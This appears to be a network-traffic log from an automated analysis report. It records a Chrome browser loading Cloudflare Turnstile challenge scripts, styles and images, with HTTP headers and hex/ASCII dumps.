2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49727	104.18.94.41	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:50 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ffe977e4cfef78d&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ojacm/0x4AAAAAAA0rfpQOBx227C7S/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:50 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:04:50 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 119983 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ffe978249c319bf-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 18:04:50 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"http
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 25 32 32 25 33 45 43 6c 69 63 6b 25 32 30 68 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 Data Ascii: y.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20informa
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 2c 67 36 2c 67 37 2c 67 61 2c 67 62 2c 67 42 2c 67 43 2c 67 47 2c 67 48 2c 67 38 2c 67 39 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 33 36 30 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 36 30 29 29 2f 32 2b 70 61 72 73 65 49 6e 74 28 67 49 28 39 30 38 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 37 37 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 37 31 34 29 29 2f 35 2b 70 61 72 73 65 49 6e 74 28 67 49 28 38 38 33 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 39 36 30 29 29 2f 37 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 39 33 39 29 29 Data Ascii: ,g6,g7,ga,gb,gB,gC,gG,gH,g8,g9){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(360))/1+parseInt(gI(1360))/2+parseInt(gI(908))/3(-parseInt(gI(977))/4)+parseInt(gI(714))/5+parseInt(gI(883))/6(parseInt(gI(960))/7)+parseInt(gI(939))
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 34 29 5d 2c 45 72 72 6f 72 29 29 3f 6b 5b 67 4d 28 31 33 35 33 29 5d 3d 3d 3d 67 4d 28 35 35 32 29 3f 67 5b 67 4d 28 31 34 35 34 29 5d 3d 4a 53 4f 4e 5b 67 4d 28 31 31 36 39 29 5d 28 67 5b 67 4d 28 31 34 35 34 29 5d 2c 4f 62 6a 65 63 74 5b 67 4d 28 31 32 31 34 29 5d 28 67 5b 67 4d 28 31 34 35 34 29 5d 29 29 3a 28 48 3d 67 5b 67 4d 28 35 38 30 29 5d 2c 49 3d 68 2e 69 64 2c 4a 3d 69 5b 67 4d 28 33 33 33 29 5d 28 67 4d 28 37 37 37 29 29 2c 4a 5b 67 4d 28 39 36 31 29 5d 28 27 69 64 27 2c 67 4d 28 31 34 38 34 29 2b 49 29 2c 4b 3d 2f 5b 3f 21 2e 3a 5d 24 2f 2c 4c 3d 4b 5b 67 4d 28 33 34 33 29 5d 28 48 29 2c 4c 3f 4a 5b 67 4d 28 35 38 30 29 5d 3d 27 20 27 3a 4a 5b 67 4d 28 35 38 30 29 5d 3d 27 2e 20 27 2c 6a 5b 67 4d 28 34 36 38 29 5d 28 4a 29 29 3a 67 5b 67 4d Data Ascii: 4)],Error))?k[gM(1353)]===gM(552)?g[gM(1454)]=JSON[gM(1169)](g[gM(1454)],Object[gM(1214)](g[gM(1454)])):(H=g[gM(580)],I=h.id,J=i[gM(333)](gM(777)),J[gM(961)]('id',gM(1484)+I),K=/[?!.:]$/,L=K[gM(343)](H),L?J[gM(580)]=' ':J[gM(580)]='. ',j[gM(468)](J)):g[gM
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 5b 67 4e 28 31 36 32 31 29 5d 28 70 61 72 73 65 49 6e 74 2c 6c 5b 33 5d 2c 31 30 29 29 29 3a 66 3d 4a 53 4f 4e 5b 67 4e 28 31 31 36 39 29 5d 28 64 29 3b 72 65 74 75 72 6e 20 6d 3d 7b 7d 2c 6d 5b 67 4e 28 37 37 38 29 5d 3d 66 2c 6d 5b 67 4e 28 31 30 36 39 29 5d 3d 67 2c 6d 5b 67 4e 28 32 35 31 29 5d 3d 68 2c 6d 5b 67 4e 28 32 34 32 29 5d 3d 69 2c 6d 5b 67 4e 28 31 34 35 34 29 5d 3d 64 2c 6d 7d 2c 65 4d 5b 67 4a 28 31 30 32 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 66 2c 67 2c 68 2c 69 2c 67 50 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 29 7b 28 67 50 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 67 50 28 31 36 36 31 29 5d 3d 67 50 28 31 36 34 39 29 2c 6b 3d 6a 2c 6c 3d 65 5b 67 50 28 31 30 36 32 29 5d 28 29 2c 6d 3d 67 50 28 31 35 32 37 29 2c 6c 5b 67 50 28 31 35 34 38 29 Data Ascii: [gN(1621)](parseInt,l[3],10))):f=JSON[gN(1169)](d);return m={},m[gN(778)]=f,m[gN(1069)]=g,m[gN(251)]=h,m[gN(242)]=i,m[gN(1454)]=d,m},eM[gJ(1028)]=function(e,f,g,h,i,gP,j,k,l,m,n,o){(gP=gJ,j={},j[gP(1661)]=gP(1649),k=j,l=e[gP(1062)](),m=gP(1527),l[gP(1548)
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 34 35 34 29 5d 2c 53 29 3f 61 68 5b 68 79 28 31 34 35 34 29 5d 3d 61 69 5b 68 79 28 31 31 36 39 29 5d 28 61 6a 5b 68 79 28 31 34 35 34 29 5d 2c 61 6b 5b 68 79 28 31 32 31 34 29 5d 28 61 6c 5b 68 79 28 31 34 35 34 29 5d 29 29 3a 61 6d 5b 68 79 28 31 34 35 34 29 5d 3d 61 6e 5b 68 79 28 31 31 36 39 29 5d 28 61 6f 5b 68 79 28 31 34 35 34 29 5d 29 2c 68 3d 64 5b 68 79 28 33 38 31 29 5d 28 61 31 2c 68 79 28 31 34 35 36 29 29 2c 69 3d 61 32 5b 68 79 28 33 32 34 29 5d 5b 68 79 28 34 39 36 29 5d 3f 64 5b 68 79 28 37 34 34 29 5d 28 27 68 2f 27 2c 61 33 5b 68 79 28 33 32 34 29 5d 5b 68 79 28 34 39 36 29 5d 29 2b 27 2f 27 3a 27 27 2c 6a 3d 64 5b 68 79 28 37 34 34 29 5d 28 64 5b 68 79 28 36 35 34 29 5d 28 64 5b 68 79 28 31 33 39 34 29 5d 28 68 79 28 31 36 34 30 29 2c Data Ascii: 454)],S)?ah[hy(1454)]=ai[hy(1169)](aj[hy(1454)],ak[hy(1214)](al[hy(1454)])):am[hy(1454)]=an[hy(1169)](ao[hy(1454)]),h=d[hy(381)](a1,hy(1456)),i=a2[hy(324)][hy(496)]?d[hy(744)]('h/',a3[hy(324)][hy(496)])+'/':'',j=d[hy(744)](d[hy(654)](d[hy(1394)](hy(1640),
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 31 36 32 34 29 5d 3d 66 45 2c 66 53 5b 67 4a 28 31 34 34 39 29 5d 3d 65 5a 2c 66 53 5b 67 4a 28 31 36 31 33 29 5d 3d 66 30 2c 66 53 5b 67 4a 28 31 31 33 39 29 5d 3d 66 6d 2c 66 53 5b 67 4a 28 37 38 31 29 5d 3d 66 6f 2c 66 53 5b 67 4a 28 39 34 31 29 5d 3d 66 6e 2c 66 53 5b 67 4a 28 31 34 33 36 29 5d 3d 66 79 2c 66 53 5b 67 4a 28 31 36 36 33 29 5d 3d 66 78 2c 66 53 5b 67 4a 28 33 31 39 29 5d 3d 66 77 2c 66 53 5b 67 4a 28 37 36 30 29 5d 3d 66 76 2c 66 53 5b 67 4a 28 38 36 34 29 5d 3d 66 67 2c 66 53 5b 67 4a 28 34 30 31 29 5d 3d 66 52 2c 66 53 5b 67 4a 28 32 38 31 29 5d 3d 66 6b 2c 66 53 5b 67 4a 28 37 33 36 29 5d 3d 66 68 2c 66 53 5b 67 4a 28 37 30 35 29 5d 3d 66 64 2c 66 53 5b 67 4a 28 32 39 35 29 5d 3d 66 63 2c 65 4d 5b 67 4a 28 35 38 37 29 5d 3d 66 53 2c Data Ascii: 1624)]=fE,fS[gJ(1449)]=eZ,fS[gJ(1613)]=f0,fS[gJ(1139)]=fm,fS[gJ(781)]=fo,fS[gJ(941)]=fn,fS[gJ(1436)]=fy,fS[gJ(1663)]=fx,fS[gJ(319)]=fw,fS[gJ(760)]=fv,fS[gJ(864)]=fg,fS[gJ(401)]=fR,fS[gJ(281)]=fk,fS[gJ(736)]=fh,fS[gJ(705)]=fd,fS[gJ(295)]=fc,eM[gJ(587)]=fS,
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 52 6f 7a 5a 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 4a 5a 74 4b 42 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 66 67 44 47 64 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 65 59 43 42 45 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 62 53 63 47 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 45 43 6b 4e 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 5a 4a 4c 51 43 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 Data Ascii: ction(h,i){return h<i},'RozZO':function(h,i){return h==i},'JZtKB':function(h,i){return h>i},'fgDGd':function(h,i){return h<i},'eYCBE':function(h,i){return i==h},'bScGh':function(h,i){return i\|h},'ECkNj':function(h,i){return h<<i},'ZJLQC':function(h,i){ret
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 5d 3b 4d 2b 3d 31 29 69 66 28 4e 3d 6a 5b 6a 30 28 31 36 33 33 29 5d 28 4d 29 2c 4f 62 6a 65 63 74 5b 6a 30 28 32 38 38 29 5d 5b 6a 30 28 38 37 34 29 5d 5b 6a 30 28 31 34 30 39 29 5d 28 44 2c 4e 29 7c 7c 28 44 5b 4e 5d 3d 48 2b 2b 2c 45 5b 4e 5d 3d 21 30 29 2c 4f 3d 46 2b 4e 2c 4f 62 6a 65 63 74 5b 6a 30 28 32 38 38 29 5d 5b 6a 30 28 38 37 34 29 5d 5b 6a 30 28 31 34 30 39 29 5d 28 44 2c 4f 29 29 46 3d 4f 3b 65 6c 73 65 20 66 6f 72 28 50 3d 64 5b 6a 30 28 31 31 37 30 29 5d 5b 6a 30 28 38 32 39 29 5d 28 27 7c 27 29 2c 51 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 50 5b 51 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 47 2d 2d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 64 5b 6a 30 28 31 32 37 39 29 5d 28 30 2c 47 29 26 26 28 47 3d 4d 61 74 68 5b Data Ascii: ];M+=1)if(N=j[j0(1633)](M),Object[j0(288)][j0(874)][j0(1409)](D,N)\|\|(D[N]=H++,E[N]=!0),O=F+N,Object[j0(288)][j0(874)][j0(1409)](D,O))F=O;else for(P=d[j0(1170)][j0(829)]('\|'),Q=0;!![];){switch(P[Q++]){case'0':G--;continue;case'1':d[j0(1279)](0,G)&&(G=Math[
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 32 29 5d 28 2d 31 2c 4c 5b 5a 5d 5b 6a 30 28 31 35 34 38 29 5d 28 4d 5b 58 5b 59 5d 5d 5b 61 30 5d 29 29 26 26 28 64 5b 6a 30 28 31 30 33 31 29 5d 28 4e 2c 4f 5b 58 5b 59 5d 5d 5b 61 30 5d 29 7c 7c 50 5b 5a 5d 5b 6a 30 28 31 34 38 30 29 5d 28 27 6f 2e 27 2b 51 5b 58 5b 59 5d 5d 5b 61 30 5d 29 29 2c 61 30 2b 2b 29 3b 7d 65 6c 73 65 20 52 5b 5a 5d 3d 53 5b 58 5b 59 5d 5d 5b 6a 30 28 33 32 38 29 5d 28 66 75 6e 63 74 69 6f 6e 28 61 31 2c 6a 31 29 7b 72 65 74 75 72 6e 20 6a 31 3d 6a 30 2c 42 5b 6a 31 28 31 35 39 33 29 5d 28 27 6f 2e 27 2c 61 31 29 7d 29 7d 65 6c 73 65 7b 69 66 28 64 5b 6a 30 28 34 31 34 29 5d 28 32 35 36 2c 46 5b 6a 30 28 31 33 34 30 29 5d 28 30 29 29 29 7b 66 6f 72 28 43 3d 30 3b 64 5b 6a 30 28 35 31 32 29 5d 28 43 2c 49 29 3b 4b 3c 3c 3d 31 Data Ascii: 2)](-1,L[Z][j0(1548)](M[X[Y]][a0]))&&(d[j0(1031)](N,O[X[Y]][a0])\|\|P[Z][j0(1480)]('o.'+Q[X[Y]][a0])),a0++);}else R[Z]=S[X[Y]][j0(328)](function(a1,j1){return j1=j0,B[j1(1593)]('o.',a1)})}else{if(d[j0(414)](256,F[j0(1340)](0))){for(C=0;d[j0(512)](C,I);K<<=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49728	104.18.94.41	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:50 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ojacm/0x4AAAAAAA0rfpQOBx227C7S/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:51 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:04:51 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ffe9782cbaa5e7c-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 18:04:51 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49729	104.18.94.41	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:51 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:51 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:04:51 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ffe9786d92143ed-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 18:04:51 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49730	104.18.94.41	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:51 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ffe977e4cfef78d&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:51 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:04:51 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 128273 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ffe9787db78f5f4-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 18:04:51 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconce
2025-01-10 18:04:51 UTC	1369	IN	Data Raw: 22 52 65 66 72 65 73 68 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 73 75 63 63 65 73 73 22 3a 22 53 75 63 63 65 73 73 25 32 31 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 22 54 69 6d 65 64 25 32 30 6f 75 74 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 69 6e 76 61 6c 69 64 5f 73 69 74 65 6b 65 79 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 73 69 74 65 6b 65 79 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 Data Ascii: "Refresh","turnstile_success":"Success%21","turnstile_timeout":"Timed%20out","turnstile_feedback_report":"Having%20trouble%3F","turnstile_feedback_description":"Send%20Feedback","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrator%
2025-01-10 18:04:51 UTC	1369	IN	Data Raw: 2c 66 42 2c 66 43 2c 66 4d 2c 66 58 2c 67 31 2c 67 34 2c 67 35 2c 67 42 2c 67 32 2c 67 33 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 38 39 32 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 38 31 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 39 39 38 29 29 2f 33 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 36 36 39 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 35 38 29 29 2f 35 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 37 34 29 29 2f 36 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 34 34 38 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 Data Ascii: ,fB,fC,fM,fX,g1,g4,g5,gB,g2,g3){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1892))/1(-parseInt(gI(1481))/2)+parseInt(gI(998))/3(parseInt(gI(669))/4)+parseInt(gI(1158))/5*(-parseInt(gI(1174))/6)+parseInt(gI(448))/7+parseInt(g
